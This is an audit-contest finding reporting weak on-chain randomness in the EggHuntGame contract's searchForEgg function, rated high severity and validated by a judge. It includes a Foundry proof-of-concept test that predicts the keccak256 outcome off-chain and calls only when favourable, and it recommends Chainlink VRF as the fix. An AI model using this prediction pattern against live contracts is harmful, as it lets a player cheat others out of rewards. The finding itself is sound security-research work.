Eggstravaganza

First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Weak Randomness in Egg Hunt Game Leading to Predictable Outcomes

Summary

The EggHuntGame smart contract uses a weak pseudo-random number generation mechanism in its searchForEgg function. This vulnerability arises from the use of predictable blockchain variables (block.timestamp, block.prevrandao, msg.sender, and eggCounter) as inputs to the keccak256 hash function. Attackers can potentially predict or manipulate these values, undermining the fairness of the egg-finding mechanism and allowing exploitation of the game's randomness.

Vulnerability Details

The searchForEgg function generates a pseudo-random number using the following code:

uint256 random = uint256(
keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender, eggCounter))
) % 100;

The approach is insecure because:

  1. Predictable inputs

  • block.timestamp is the timestamp of the current block, which miners can manipulate within a small range (typically ±15 seconds).

  • block.prevrandao (introduced in Ethereum's PoS upgrade) provides a randomness value, but it is still predictable once the block is proposed.

  • msg.sender is the address calling the function, which is known to the caller.

  • eggCounter is a public state variable that increments predictably with each egg found.

  1. Lack of Cryptographic Security: The keccak256 hash function, while collision-resistant, does not provide sufficient entropy when fed with predictable inputs. An attacker can precompute or simulate outcomes based on these values.

  2. Modulus Operation: The result is reduced modulo 100 to compare against eggFindThreshold. Since the inputs are not sufficiently random, the distribution of outcomes can be skewed or manipulated.

Impact

This weak randomness allows an players to:

  • Predict when they are likely to find an egg by simulating the random number off-chain.

  • Time their transaction submission to align with favorable block.timestamp or block.prevrandao values.

  • Gain an unfair advantage over other players, undermining the game's integrity.

Proof of Code

Add this test to EggHuntGameTest.t.sol

function testWeakRandomnessExploit() public {
// Start the game with a duration.
uint256 duration = 200;
game.startGame(duration);
// Set a low threshold to make the test meaningful (e.g., 20% chance).
game.setEggFindThreshold(20);
// Simulate an attacker predicting the random outcome off-chain.
uint256 currentTime = block.timestamp;
uint256 prevrandao = block.prevrandao; // Use the current block's prevrandao for simulation.
uint256 eggCounter = game.eggCounter();
address attacker = alice;
// Simulate the same randomness logic used in searchForEgg.
uint256 simulatedRandom =
uint256(keccak256(abi.encodePacked(currentTime, prevrandao, attacker, eggCounter))) % 100;
// If the simulated random number is below the threshold, the attacker would call searchForEgg.
if (simulatedRandom < game.eggFindThreshold()) {
vm.prank(attacker);
game.searchForEgg();
// Verify that an egg was found as predicted.
assertEq(game.eggsFound(attacker), 1);
assertEq(nft.ownerOf(eggCounter + 1), attacker);
} else {
// If the random number is not favorable, the attacker would wait for a better block.
console.log("Simulated random value:", simulatedRandom);
console.log("Threshold:", game.eggFindThreshold());
console.log("Attacker would wait for a better block.");
}
// Demonstrate predictability by warping time and checking again.
vm.warp(currentTime + 1);
uint256 newRandom =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, attacker, eggCounter))) % 100;
// Log the difference to show how small changes affect predictability.
if (newRandom < game.eggFindThreshold()) {
vm.prank(attacker);
game.searchForEgg();
// Verify that an egg was found as predicted.
assertEq(game.eggsFound(attacker), 1);
assertEq(nft.ownerOf(eggCounter + 1), attacker);
} else {
console.log("Attacker would wait for a better block again.");
}
}

Tools Used

Manual review - foundry

Recommendations

Integrate Chainlink VRF (or similar oracle-based randomness service) to provide cryptographically secure randomness.

Updates

Lead Judging Commences

m3dython Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Insecure Randomness

Insecure methods to generate pseudo-random numbers

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.